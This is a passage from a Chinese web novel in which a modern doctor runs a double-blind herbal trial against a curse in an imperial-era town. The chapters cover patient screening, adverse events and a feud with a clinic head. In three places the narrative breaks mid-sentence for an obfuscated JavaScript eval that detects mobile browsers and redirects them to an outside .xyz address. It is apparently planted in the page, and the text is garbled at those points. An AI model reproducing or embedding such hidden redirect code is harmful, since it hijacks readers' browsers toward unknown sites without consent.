白理清了清嗓子继续发问:“那要如何将病患分组?谁来分?” “用陶罐叶片法。”冯麓俯身在地上捡起几片被秋风吹起的落叶,从腰带里掏出一小支炭笔在上面歪歪扭扭地写了什么,又把叶子递给白理。 “如你所见,我会在上面写上‘一’、‘二’、‘三’三个字,分别代表了三个组别,叶片由医师进行公正地抽选[3]。但分组的结果医师不会知道,病患也不能知道,只有我知道,这叫‘双盲’[4]。” “所以,白堂主,我们此次验方又可以称之为——” “评价‘圣愈汤’治愈‘血纹症’(李氏诅咒)有效性和安全性的多中心、随机、双盲、安慰剂平行对照二期临床试验[5]。” 方案讨论结束,口服液也准备完毕,蒲城可以正式开始进行筛选了。 冯麓拿着名单,和白理一起去各位老爷夫人的府上甄选。 “不行,年纪太小。” “不行,舌象不符合,也没有瘀点。” “不行,症状相似点太少。” 在第六次筛败以后,白理的脸“刷”地一下变黑,把冯麓拉到府外问:“医者不能挑剔病患你不知道吗?他们都是中咒之人,为什么不行?” 冯麓把手挣脱出来,回道:“因为此方最后是呈现给陛下使用的,所以参与验方的病患必须与陛下的所有特征相同或者高度相似,否则无法判断是否能救治陛下。” 白理冷哼一声,说:“他们就因为与陛下不同所以被剥夺了服用解药的资格吗?我偏要纳入他们会怎样?” 冯麓紧咬着后槽牙,好言好语地解释:“白堂主,如今我们能在此研制解药全是仰仗陛下之威,若是解药制成,大家就都有得救,只是时间或早或晚。 但若是一股脑儿把不合适的人也纳入其中,我们又怎知他们症状减轻或者加重是否与解药有关?看不出方剂效果,解药就很难研制成功,白堂主若希望解药尽快制成的话,就先听我的。” “姑且如此吧。”白理一甩袖子大步流星地离开,“提前告诉你,我认可你的方法,但不代表我认可你。” 他身后的冯麓默默翻了个白眼,小声嘟囔着:“说的好像我就很认可你本人一样。” 县里中咒之人几乎三步一个,冯麓先按李麒的症状和脉象筛选出了五个合适的病患,让他们尽快去仁医堂找白理问诊,而杨凛则负责在医案格记录他们的人口学信息以及服药前的症状。 第一个被纳入的病人叫王媪,作为阳帝最小的外孙女来蒲城守陵,拥有几乎和李麒五成相像的症状和脉象。 “王夫人,这是日志簿,需要您写下喝完药后出现的所有感受以及服用的所有食物。”冯麓拿出一本空白的册子递给王媪,“验方期间不可再另外服药,不可食用的食物也已在日志簿里提前说明,若有不适请及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513163|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时来仁医堂。” “冯大人,我是一次把七天的药拿回去自己煎吗?”王媪问。 冯麓微笑回道:“王夫人不必自己煎药,我们的解药已经煎好,为了保证药罐安全,我会差手下的人送去贵府。” “那就多谢白堂主和冯大人了。” 王媪离开后,杨凛扯着冯麓的衣袖试探性地问:“大人,我们这儿就我一个选人,差谁送啊?” “你都说没其他人了,还能有谁?”冯麓看着杨凛那倒吸一口凉气的模样,轻笑着拍他的肩膀,“放心,我会自掏腰包给你额外俸禄的。” “冯大人真舍得下血本啊。”白理从冯麓身边擦肩而过,淡淡的语气里全是不满,“也是,若成功讨好了陛下,得到的回报恐怕什百[6]不止,这一点小钱又算得上什么。” 冯麓为了工作硬撑的笑脸瞬间垮下,对着白理远处的背影气不打一处来。 “大人别气,想是白堂主是被这几日甄选病患烦心到了。”杨凛见状赶紧哄着冯麓,“大人再忍忍,我们一完成验方马上就离开!” “他还烦心?最该烦心的应该是我吧?真不知道到底哪儿得罪他了。” 她上班这么多年也见过不少奇葩,但都对她这个博士兼病区副主任毕恭毕敬的,就没见过这么难相处、难配合、成见还这么深的同事。 偏偏白理在蒲城还这么权威,杨凛独自去街上招募了一整天都是徒劳无功,但病患一看到他全都一百八十度大转弯,生怕抢不到名额。 最烦这种看不爽又干不掉的讨厌鬼。 时间很快来到王媪服药的第八日,她已经服完了整整七日解药,到了来仁医堂访视的日子。仁医堂所有人都既紧张又期待,每个路过门口的人都忍不住往外探上几眼。 可直到申初一刻[7]都没有看见王媪的身影。冯麓心里开始忐忑不安,不会首例病人就发生了不良事件[8]吧? “杨凛,你去王夫人府上看看,是不是出什么事儿了?” “是!” 就在杨凛刚慌忙跑出门的时候,王媪被下人搀扶着走进仁医堂,手指按着眉心,表情痛苦。 坏了,冯麓心想。 注释及参考文献: [1]阳性对照:指现代药物试验中用现有的疗法与研究疗法进行对照试验的方法。 [2]空白对照:指现代药物试验中用安慰剂与研究疗法进行对照试验的方法。 [3]随机:指现代药物试验中为受试者进行随机分组的方法,为的是让受试者公平公正地接受试验治疗,随机只能由研究者(医生)进行。 [4]双盲:指现代药物试验中医生和受试者都不知道随机分组的结果。 [5]王永,黄志惠,孙海清.圣愈汤加味治疗原发免疫性血小板减少症气不摄血证疗效观察[J].西部中医药.2025.38(6):137-140. [6]什百:古代对于“十倍”的说法。 [7]申正一刻:一个时辰中前半时辰为“初”,后半时辰为“正”,申初一刻大概是“4点15分”。 [8]不良事件:指现代药物试验中受试者在接受试验用药后出现的任何不良医学事件,这些事件可能表现为症状、体征、疾病或实验室检查异常,但并非一定与试验用药有直接因果关系,简称为“AE”。 5. 方案违背 “王夫人,您这是……”冯麓赶紧围上去接过下人的手,小心地扶着王媪坐下来。 “冯大人,我……我头疼,还想吐。”王媪苍白的面色和唇色显得那从耳根蔓延出来的血纹更为鲜艳刺眼。 站在她身边的丫鬟没好气地指着冯麓质问道:“是不是你这解药的缘故?我家夫人此前不服药的时候头都没有这样痛过!” 丫鬟的声音又高又尖,引来了不少过路人进来围观,一时间,人群中不免有细碎的质疑。 路人中有凑热闹的,鼓起勇气大喊:“验方使,你究竟是不是真的孙氏门徒啊?怎的让你来治病反倒把人越治越严重了?” “是啊!你到底学没学过医术啊?” “果然是黑心医师!” 质疑声越来越大,回响在整个仁医堂大厅,十分刺耳。 “出什么事儿了?”白理此时皱着眉从门外走进来,看着这闹剧一头雾水。 丫鬟抢先开口:“白堂主,我们是相信您才来参与验方的,现如今我家夫人就因为服了验方使的药成了这副模样,您要为我们做主啊!” 白理压根没理会丫鬟的诉苦,径直看向沉默不语的冯麓,沉声说:“验方使,我在问你。” 冯麓垂眸冷静思考了一番,没回答白理反而问王媪:“王夫人,之前交给您的日志簿今日有带来吗?” “日志簿?哦对,我差点儿忘了。”王媪用眼神指示丫鬟拿出来,丫鬟撇着嘴将那本日志簿随意地扔给冯麓。 冯麓没接到,日志簿的装订松散开,一页一页撒得遍地都是。冯麓一声不吭地蹲下,一张一张地捡回来。 白理见状,也蹲下去帮忙捡起纸页,整理了一下后递给冯麓。 “多谢白堂主。” 冯麓低着头打开看了看,里面密密麻麻记载了王夫人这七日所有餐食,看上去就跟任何一个普通人家的一日三餐没有分别。 丫鬟冷哼一声,再度开口:“验方使,夫人可没有讹你,也不稀得讹你。她这几日吃的都是最清淡的餐食,连往日的药都停了。” 没想到首例受试者就出现了不良事件,冯麓心里开始慌乱,但仍然不肯放弃地又把日志簿从头到尾翻阅了一遍,还是没有任何线索。 “夫人,若是解药导致,我一定负责将您诊治到底,医药费我付。”冯麓走近王媪,伸手搭脉,“但是夫人还请让我看上一看,以确定是哪里出了毛病。” 脉象更细,掌心是温的但是指尖是冰冷的,而舌象并未有什么改变。 等会儿? 冯麓掏出铜镜碎片,反射屋外的阳光照亮王媪的口腔,她的口腔里还残留了一点食物残渣,而正是这一点残渣让整个不良事件的源头水落石出。 “王夫人,您是不是不久前吃了杏仁?” “吃了一小块杏仁酥,你是怎么知道的?” “杏仁和解药同服有毒性[1],这些禁用药是在日志簿上写了的,或许您没有看到。” 王媪和丫鬟相视一眼,随即神情变得尴尬起来。 冯麓捕捉到了这个细节,惊讶地问:“夫人您是知道的?” “我以往每日都会吃几块杏仁酥,忍了七日没吃实在馋得慌,所以……我想着只吃一块应该不会……” “夫人请您对自己的身子重视一些,我将禁用的食物注明出来就是以防万一,我自然是可以替您诊治到底,但逞一时口腹之欲只会让您多受苦。” 冯麓露出少见的严肃神情,“王夫人,后续的疗程里不可再食用禁用食物和药物了,一是担忧您会病情加重,二是担忧您的症状会影响我们对于其他人的判断。” 王媪低下头,“对不住,冯大人。” “我只是一介小医师,王夫人不必对我道歉,但我们说的每一句话都请您牢牢记住。” 冯麓蹲下身子让自己与王媪平视,虽然嘴角还挂着微笑的弧度,但眼睛和语气全是不容反抗的坚定。“希望王夫人不要对我们有所隐瞒,我们不是您的敌人。” “这个用上百年无数生命堆砌起来的魔鬼才是。” 下一个来进行随机入组的受试者是李铉。 李铉是陈王李睦的第六子,论关系的话算是李麒的远房堂弟,在陈王陪葬先帝时举家从长安搬来了蒲城。 李铉与李麒的血缘更亲近一些,症状和脉象有个七八成相似。冯麓心里默默祈祷希望他可以随机到实验组,效果就会更明显。 白理刚抽出纸条,李铉就好奇地指着纸条问:“我是哪个组别的?能用上解药吗?” “不确定,要等验方完成才会公布。”白理回答道。 李铉大为震惊:“什么?我已经二十四岁了,若是一年后你们才完成验方,我岂不是都不知晓自己是因为诅咒死的还是因为你们的药死的?” 冯麓见状立即解释道:“六公子,我们只让您服用一月的药,若这期间您有任何不适,都可以提前退出。一月后解咒无效的话,我们会给您服用其他缓解痛苦的药。” 白理在一旁无声地点头附议。 李铉叹口气,颇不乐意地说:“行吧,看在白堂主的面子上我就勉强一试吧。” “多谢六公子对验方工作的大力支持。”白理向李铉行礼致谢,可冯麓已经隐隐预料到这个六公子可能会给他们一口气来上几个方案违背。 李铉走后,杨凛竖起手掌悄悄贴在冯麓耳边吐槽:“大人,我怎么感觉这人好像觉得我们在求他用药啊?” 冯麓苦笑几声,“以后就好了。” “以后咱们和病人熟悉了就不会这样了吗?”杨凛问。 “不是,以后你就会习惯了。” 再下一个受试者是县令的儿子杜蜻,因为母亲那边有李氏的血缘,所以他也中了诅咒。 不过杜蜻在门口磨磨蹭蹭愣是不进来,杨凛只好去门口问:“杜公子,您是在门口等人吗?” “不是,”杜蜻挠挠头,眼神飘忽地走进仁医堂,“那个……冯大人,杨大人,我可以换一个医师吗?” 白理听到杜蜻的声音,转身瞥了一眼,正好撞上杜蜻的眼神,电光火石间冯麓似乎都能闻到硝烟味。 “我怕他给我下毒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513164|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呵,我不会因为你自毁前途。” 两人双双抱着胳膊转头到另一侧,避开任何眼神的接触。看来这俩人有仇恨,冯麓猜想。 白理还是坚持做完前五例,所以没让其他医师插手,直接把杜蜻按在椅子上强行问诊。 杜蜻的症状与李麒只有六成相似,但他是唯一拥有与李麒相同的手臂血纹的病患。 随机分组时,杜蜻再次看着冯麓确认了一遍:“冯大人,您确定他不会做什么手脚吧?” “你的话真是一如既往的多。”白理臭着脸掏出一张纸条,之后就甩手离开了问诊室。 冯麓趁杨凛去取来药汤的时候,没忍住好奇心,向杜蜻打听了一下他们之间的往事。 “冯大人,您和白理是一伙儿的,我不好在您面前嚼他舌根啊。” 冯麓摆摆手,否认道:“他不喜欢我,我也不喜欢他,以此来看咱们才是一伙儿的。杜公子尽管说便是。” 于是杜蜻像逮到机会似的,滔滔不绝地讲起他和白理的往事。 白理是穷苦人家的孩子,父母双亡后带着妹妹来到蒲城求生,一边替富人做些杂活一边去学堂偷偷听先生讲课。 杜蜻某天遇到白理的妹妹,看她可怜就请她去家里烤火吃馍,没想到白理以为他想拐走他妹二话不说就暴揍了杜蜻一顿。 虽然白理后来道了歉,但因为肿成猪头而被朋友笑话的杜蜻吞不下这口气,找学堂告状把偷听讲课的白理撵出去,并求得县令父亲去警告各个学堂,谁要是让白理偷听就停办讲学。 由此一来,杜蜻和白理就彻底结下了仇,虽然现在看来这些仇恨都挺幼稚的。 怪不得他这么厌恶权贵,感情是你们造的孽呀,冯麓腹诽道。 杜蜻走后,冯麓收拾好东西准备和杨凛回驿站,一转身却发现白理不知何时不发一言地站在她身后,给冯麓吓了一大跳。 “验方使大人,我的往事好听吗?”白理靠近,用深不见底的双瞳注视着冯麓,“他们一句话就可以让我父母上山打猎只为博得亲王一笑,同样也是一句话就可以灭杀一个穷孩子对于知识的渴望。” 白理不断靠近再靠近,直到把冯麓逼到了墙边,“权贵固然可恶,但你们这些为了一己私利攀附权贵的人更不可饶恕。就是因为有你们这样的人,才能让他们权势越来越大,伸出的手越来越长。” 冯麓伸手用力将白理推开几米远,皱起眉说道:“你以为我是为的钱才给陛下制作解咒药的?白堂主,你总觉得我高高在上,实际你才是那个自以为是的人。” “白理,我尊称你一声‘白堂主’,是因为我尊重你的医术和权威,并且我作为统领全局之人不能亲自上手,不然我根本不可能需要你。” 冯麓以往那柔和的眼神瞬间变得冰冷,露出与年龄完全不契合的气场。她用手指点了点白理的前胸,说:“我现在与亡命之徒没什么两样,你现在最好乖乖配合我,而不是针对我,不然我死的时候说不准会拿你当垫背。” 注释及参考文献: [1]《本草经集注》陶弘景(南) 6. 入住凶宅 冯麓来到蒲城差不多半个月,一直住在驿站没来得及租房子,于是她找了牙人,和杨凛挑了个阳光明媚的日子去看房。 “姑娘有什么要求吗?” “必须有一片田地,至少三间屋子,安静,而且得离仁医堂近点儿。” “这个有点难……” “加钱也可以。” 牙人苦思冥想后突然一拍掌,表情兴奋地说:“近日有一位夫人回娘家长住了,她的院子或许姑娘会喜欢。” 冯麓来到那个院子,几乎符合她所有要求,独独有一处她不太满意。她指着院子里的田地问:“大哥,请问这块地是我和隔壁共用吗?” 那块地被篱笆一分为二,篱笆非常矮以至于可以将隔壁院子尽收眼底,冯麓走过去看了一眼,另外那半块地已经种满了花草,长势喜人。 “是的姑娘,”牙人陪笑着回答,“这两间院子原是一间,主人也原是一对夫妻,但是夫妻俩去年和离了,所以用篱笆硬生生给隔出来两间院子。” “和离?你确定?”冯麓眼尖地发现一处异常,走到墙边蹲下细细看了一遍,“这院子死过人吧?” 牙人彻底慌了神,问冯麓怎么看出来的。 “墙上有一处陈年血迹,若说是鸡血或者猪血倒也不是不行,但偏偏墙砖与土地的缝隙里掉落了一些头发以及看上去像指甲盖的人体组织。”冯麓拍了拍手上的灰尘站起身,“大哥你这就不厚道了,明明知道是凶宅也不告知我。” “小的眼拙,没想到姑娘生得漂亮还如此聪慧。若是姑娘诚心要,小的甘愿半价租赁。” 杨凛哼哼笑了一声,颇自豪地告诉牙人:“我家大人可不是普通女子,她是陛下钦点来这儿破解李氏诅咒的验方使,一般的小伎俩可骗不过我家大人。” 牙人“扑通”一声跪下,结结巴巴地说:“大大大人,小的有眼不识泰山,不该欺瞒大人!小的再再去找一间更好的院落给大人!” “起来吧,我想再问你几个问题。”冯麓把牙人扶起来。 “小的定知无不言、言无不尽。”牙人没想到着生意没做成反惹一身骚,声音抖得不行。 “这个凶案是妻子杀的丈夫,还是丈夫杀的妻子?” “是是是是妻子杀的丈夫。”牙人如实回答,虽然他也不知道这两个问题有什么区别。 “隔壁知道这院子是凶宅吗?” “知知知道。” 冯麓突然觉得有意思起来,出言让杨凛给钱。但是杨凛和牙人都十分不理解,一个不想给,一个不敢收。 “大大大人为何得知是凶宅以后还还还是要决定要租赁?”“对呀大人,这可是凶宅!闹鬼了咋办?” “自古以来女子都是被压抑绑架的那一个,若不是走到山穷水尽的地步她不会选择杀害丈夫。在我看来这不仅不是凶宅,还是一座承载了反抗勇气的院落,我很欣赏这位夫人。” 冯麓环抱着手臂又走到篱笆旁,用头示意了一下那边的方向笑着说:“更何况,隔壁那人都不怕,我有什么好怕的。” 牙人总算是安心收下了钱,走之前还对冯麓行了礼,感慨道:“验方使真乃女中豪杰,祝大人一切安好!” 牙人离开后,冯麓催着杨凛回去收拾东西一起搬进来,杨凛挠挠头问:“大人您不是不怕闹鬼吗?” “鬼不可怕,可怕的是人,多一个人住可以互相保护嘛。”冯麓双手把杨凛推出院落,“快走吧,赶在太阳落山之前收拾好的话,给你加钱!” “是,大人!” 冯麓和杨凛走在路上,遇到了卖糖人的贩子,她伸手拦了下来。 “老板,来一个糖人。” 杨凛看着冯麓吃得津津有味的样子,自己也不自觉笑起来,他好奇地问:“大人,原来您喜欢甜的东西呀。” “因为吃甜的东西可以分泌多巴胺。” 杨凛眨了眨眼睛问:“多巴……是啥?” 冯麓才想起来他们古人没有这个概念,所以换了个说法:“就是会快乐,烦恼会变少。” 杨凛听闻此话突然收起笑容,变得自责起来,“大人您这段时间很辛苦吧?本来都是应该我来做的事儿,却要麻烦您来帮忙。” “不打紧,你做得已经很好了,说到底都是白理的错,别的地方就没有他这么事儿的医师。” 杨凛刚要开口,就被路过的杜蜻一个大嗓门打断:“哎,这不是我们冯大人吗?平日都没见您出门,今儿有闲心出来转悠了?” “租了院子,正准备收拾搬家呢。杜公子近日如何?有哪里不适的地方吗?” “哎呀,冯大人您这个药真是好极了!我才服了两日就感觉浑身有劲儿,通体舒畅!我把这事儿跟我几个好兄弟说了他们还说要抢我的解药喝呢。” “什么?没有诊断过的人不能喝药的!千万别给他们喝!”冯麓瞪圆了眼睛,她也没想到还会有抢药这种事情发生。 “放心,我没给!为了不被那几个傻货盯上,我现在天天把药罐子带身上,这样他们就抢不走了哈哈哈哈哈!” 话毕,杜蜻展开他的衣袖,露出正拴在他裤腰带上的一排小药罐,整整齐齐,像带了一排炸弹似的。 “等会儿,我不是在发药的时候跟你说了吗,药汤要放阴凉处贮存,现在这么大太阳药会变质的!” 冯麓赶紧从杜蜻裤腰上解下一罐药打开来闻,一股强烈的酸臭味扑面而来,完全没有了原本的草本味。若是他只带一瓶出门还好,现在这样怕是要重新发放新药给他了。 她长长地叹了口气,对着杨凛无奈又无力地说:“看吧,按这烦恼找上门的速度,我每日吃三个糖人都顶不住。” 冯麓没有回驿站,而是直接把杜蜻带到仁医堂,找来非盲组[1]的煎药师按照随机组别重新发放新药。 她把药罐用一个木盒子装起来,小心翼翼地递给杜蜻,再三嘱咐:“请杜公子多加注意,别又让药汤被太阳晒到了,我们的药材有限,没办法总是为您更换新药。” “没事儿,我可以出钱。” “不是钱的事儿。”冯麓忍着怒气,用最后一丝耐心和礼貌将杜蜻请出门外,“您要是喝了变质药出了什么事儿,咱们县令大人可要心疼了。” “冯大人说的对呀!多谢冯大人~” 看着杜蜻欢脱的身影,冯麓擦了擦额上的细汗。县令心不心疼她才无所谓呢,要是杜蜻真出了什么事儿,她就完蛋了。 这一来一回,等冯麓和杨凛从驿站拖着行囊回到院子的时候,天已经完全黑下来,通往院子的小路没有了白日那样明亮温暖的氛围,在晚风里变得阴森森的。 “大人……您有没有觉得阴气有点儿重。”杨凛吞了口水弱弱问道,“不会真有鬼吧?” “胡说,世界上本就没有鬼神。” 冯麓虽然表面镇定自若,但心里还是有点隐隐的恐惧,她时刻注意着周围环境的变化,生怕有野兽或者什么坏人出没,毕竟野兽和坏人是真会要他们命的。 入了八月的蒲城昼夜温差很大,白天还能出汗的天气到了晚上可以给人冷出一身鸡皮疙瘩,尤其是这个四面都是山林的地方。 “快到了,等到家点个火暖暖就好了。”冯麓安慰着杨凛。 他们二人好不容易摸着黑回到院子,就发现今天定院子太草率了,这里除了家具和农具以外什么也没有,可现在再回驿站又太晚了。 杨凛转了一圈后彻底傻眼了,呆楞地站在院子里看着冯麓。“大人,这柴房里没柴,水缸里也没水,我们咋住啊。” 此时,隔壁传来了木门被推开的“吱呀”声,冯麓走到篱笆旁远远眺了一眼,说:“隔壁那人好像回来了,我去找他借点儿柴火和蜡烛先凑合过今晚再说。” 眼看着冯麓快步出门,杨凛拔腿就跟上,嘟囔着说:“大人等等我!别丢下我一个人!” 冯麓敲了敲隔壁的门,许久都没人应声。她轻轻推门,发现屋里微亮,猜想对方应该是没听到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513165|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 干脆直接进去问问吧,她初来乍到,还有李麒赐的鱼符,邻居应该不会对她怎样。 冯麓咬咬牙,径直走到屋子门口,鼓起勇气再次敲了敲门,“叨扰了,没有得到允许就擅自进来很抱歉,请问有人在家吗?我们是今天刚搬进隔壁的租户,想跟您家借一点儿柴火和蜡烛。” 还是没人应答。 “不会没人吧?我刚刚明明听到门被推开的声音了的。”冯麓皱眉百思不得其解。 杨凛害怕得都快贴到冯麓手臂上了,声音止不住颤抖地问:“大人……会不会……咱们隔壁住的不是人……” “不会的。鬼最怕光亮,怎么可能点蜡烛?”冯麓有理有据的反驳让杨凛那快崩断的神经稍稍被安抚了一秒钟。 “请问一下有人在家吗?我们只借一点柴火和蜡烛就成。” 还是无人应答。 “算了,我们回去吧。” 冯麓带着杨凛转身,却无意间瞥见那片药田,她惊喜地弯下腰,轻轻抚摸过那紫色的花瓣,比见到和田极品玉还要视若珍宝。 “这邻居种的桔梗真不错,若这是野花我就可以摘走入药了。” “你一声不吭地进我家,还想偷我的桔梗?” 冯麓被这突如其来的声音吓了一跳,她迅速站起身却又正好顶到那人的下巴,对方吃痛地捂着自己的下巴,低沉地说:“验方使,你想偷我桔梗就算了,怎么还故意伤人?” 此时,明月行到正天,暖白色的月光像从破了洞的木桶里漏下一般,整个院子突然就亮堂起来,包括那位邻居的脸。 冯麓尴尬地后退一步,垂眸行礼道:“白堂主对不住,是我唐突了,若我早知道这里是你家也不会进来的。杨凛,我们走。” 冯麓拽着杨凛大步出了门,杨凛还在后面小声嘟囔:“不是,大人,没有蜡烛我们摸黑打铺盖啊?” “这不是有月亮吗?” “可是大人,好冷,咱们不是要烧柴火暖暖身体吗?” “多穿几件衣服不会死人的。快走,我才不想求他。” 冯麓和杨凛的声音消失在了她关上房门的那一刻,但她身上的药香味被留在了原地。 白理低头看着那株被冯麓抚摸过的桔梗花,他不由得想起他的妹妹,她也很喜欢这样蹲在桔梗旁边,用手指一点点地把玩。 一阵风起,白理打了个寒颤。 蒲城从秋季到冬季就是一个月的事儿,要不了多久,这里就又会冻死一群穷苦的人。而他那喜欢桔梗的妹妹,就是永远地被冻结在了蒲城的冬天。 冯麓从行囊里掏出两件衣服,还翻到了一个馍馍。她把馍馍掰成两块,将其中一块递给杨凛,“跟我忙活了一天辛苦了,垫垫肚子吧。” “谢谢大人。” 他们二人为了方便互相照应决定睡一个屋子里,反正主厢房里也有两个隔间两张床。 就是今晚没柴火洗不了脚,冯麓坐在床上总感觉浑身刺挠。 安静的夜里,他们的房门被敲响了。 这么晚了能是谁?冯麓已经安定下来的心重新被提起来。她悄悄走出隔间,杨凛此时正好也蹑手蹑脚地走出来。 “你去开门。”冯麓用唇语说。 “我不敢啊大人。”杨凛也无声地回。 “要你有什么用。” 冯麓左右扫视,抄起墙边的锄头,做了一下心理建设后猛地打开门。 “不管是人是鬼都滚出我家——” “啊啊啊啊啊啊——” 两个人都高声尖叫着,企图利用自己的高分贝震慑对方。但对方不是人也不是鬼。而是一捆柴火、一支蜡烛,还有一套打火石。 冯麓听到,隔壁的那扇木门又响了。 注释及参考文献: [1]非盲组:指现代药物试验中负责药物管理的人员,他们可以知道每个随机号代表什么组别。相对应的是盲态组,负责跟受试者和研究者沟通,不知道药是什么组别。 7. 不良事件 搬了家的第二天,李铉第二疗程刚好结束,需要回仁医堂进行随访,于是冯麓和杨凛早早去往仁医堂进行准备工作。 因为白理送来的柴火,冯麓从井里打了水顺利洗了脚,舒服温暖地度过了一夜,连早上起来都充满了活力。 冯麓在前厅跟其他医师搭着话,但是每一个与白理相似的身影经过都可以轻易吸引到她的注意。 “冯大人,煎药师想找您说药材的事儿。” “哦,来了。” 因为一次性熬了太多药汤,目前药材只勉强够前五个人的剂量,后面要再想筛选新的病患就难了。 “冯大人,堂主说验方用的药材需要大人自己准备。”煎药师清了清嗓子,模仿着白理的语气,“‘仁医堂日日亏损,哪儿有那么多闲钱供她折腾。’堂主原话是这样说的。” “事后又不是不给他赏金,至于这么抠门吗。” “‘她要是验方失败了没了赏金,我找谁讨债去。’这也是堂主的原话。”煎药师说完不好意思地低下头。 冯麓的笑容顿时僵在脸上。白理这人真是,刚对他印象好点儿就来这出。他们现在可是一条绳上的蚂蚱,这种时候救谁不是救,至于分那么清楚吗。 杨凛此时慌慌张张地跑进来,冯麓刚想斥责他不要私自进入煎药室就被他先开口打断,“大人不好了!六公子上吐下泻到快不省人事了!” 等冯麓三步并作两步走到外厅时,白理已经半跪在李铉身边把着脉,他眉头紧锁,看上去情况很不妙。 “脾胃极虚,脉象细若游丝,全身软弱无力,想是药里的寒性太大导致的。”白理低沉地说道。 这是蒲城开展验方以来出现的首例严重不良事件[1],事态严重,冯麓开始急速思考着问题的根源。 气不摄血证的病人因为血行不畅形成瘀点且长期血虚,所以需要化瘀和养血的药材,生地黄和白芍最是合适。这两味药虽然是寒性的,但将黄芪、人参、当归、川芎这些温性药材加一起居然都无法调和。 杂役给白理递上针包,白理施针前头也没抬地说道:“验方使,六公子病情危重,我要求即刻揭盲[2],让六公子提前退出。” “可以。” 冯麓远远地观察着李铉,他此时面容苍白满头冷汗,双眼紧闭着全身寒战不停,还时不时俯身吐暗黄的液体,看样子他已经把胃内容物全部吐完了。 杨凛把李铉的医案格拿出来,冯麓通过随机号确认了他的分组。但奇怪的是,这个组别是低剂量组,王媪其实也分到了低剂量组,为什么不良反应远没有李铉这样严重? “你家公子腹泻呕吐多久了?”冯麓转头问李铉护卫。 “貌似两三日了,第一二日还没有这么严重。” “是三日前服药后出现的?”“是。” 冯麓颇感不解,“那为何最开始服药那几日没有发作?若是不合体质,应是立即发作或是翌日发作才对。” “今日如此严重,也是服药后出现的?” “今日公子没有服药。”护卫呆呆地回答。 “不对,我看了日志簿,七日的用药全写上了,而且你们带来的空药罐数量也对得上,他应该是服了药的。”冯麓低头认真地把日志簿翻了个底朝天,但是没看出什么端倪。 “等会儿。”冯麓想到什么,突然皱眉转头盯着护卫,“六公子不会是把药在三日前就服完了吧?” 护卫依然呆呆地摇头,回答道:“不清楚,反正这两日没看到公子服药。” “那就是了,六公子应是一日之内服用了不止一日的药量,药效太强脾胃虚寒。”冯麓上前与白理一同蹲在李铉另一侧身旁,看着白理说:“白堂主,针灸恐怕太慢,用艾灸[3]来温阳散寒更快。” “艾灸?” 冯麓拿出她自己用艾茸做好的艾炷,还有几块去皮姜片,依次放置李铉的中脘、神阙和关元,点燃艾炷后放在上面烧炙。 “这是什么法子?”白理十分震惊,艾草和去皮姜片都是温性药物,但是这样搭配使用还是第一次看见。 “‘隔姜炙’是先生教我的法子,可以最快地为病患温阳散寒。”冯麓伸手叫来杨凛,吩咐道,“按照我手札里的‘六君子汤’[4]找煎药师煎来,快。” “是!” “‘六君子汤’?这又是何物?”白理问。 “就是在人参、白术、茯苓、甘草的基础上加了陈皮、半夏两味药,理气健脾、和胃降逆。”冯麓用棉布轻轻擦拭掉李铉脸颊上的冷汗,白理沉声问:“这也是孙道士教给你的?” “人参、白术、茯苓和甘草的配伍[5]是先生教我的,但加味是我自己想的。”冯麓一边说着,一边用银针扎着李铉的足三里穴。 白理沉默不语,注意力无法控制地从李铉转移到忙碌的冯麓身上。 她在危急关头的表现以及对药材的融会贯通完全不像只学了半年医术的人,要么就是她欺骗了自己,要么她就是百年一遇的天才。 白理想,难道冯麓真是天降神医来拯救大唐的? 冯麓好听的声音打断了白理的思绪,她笑着说:“白理,我发现你经常走神哎,病人醒了都没反应过来。” “嗯?”白理扭过头去,发现李铉不知道何时已经睁开了双眼,唇色变成淡红,呼吸虽然还是很轻但只要苏醒就有希望。 “大人,煎药师已经在煎药了。” “好,然后你去拿个海碗装满凉开水,放入一拳头的盐和一拳头的糖,搅拌匀了给我拿过来。” “六公子腹泻呕吐后会造成‘低渗性脱水’[6],糖和盐是为了给他补充能量和电解质。你不知道‘能量’和‘电解质’这两个词语也没关系,可以理解为人们身体里有一杆秤,我是为了把那把秤调和成两端等重的状态。”冯麓看向白理解释,突然有一种下乡支教的感觉。 “我没想问你。”白理移开眼神,撇嘴道。 明明就是很想问,他的眼睛里分明对于冯麓的每一个奇思都充满了好奇。 真是有够嘴硬的。冯麓挑眉,无所谓地笑道:“好吧,是我多嘴了。” “六公子,还认得我是谁吗?”冯麓凑近温柔地问。 “你……你是验方使。”李铉半睁着眼睛,弱弱地回答。冯麓笑眼弯弯,肯定道:“很好,意识总算恢复了,没白做功。” 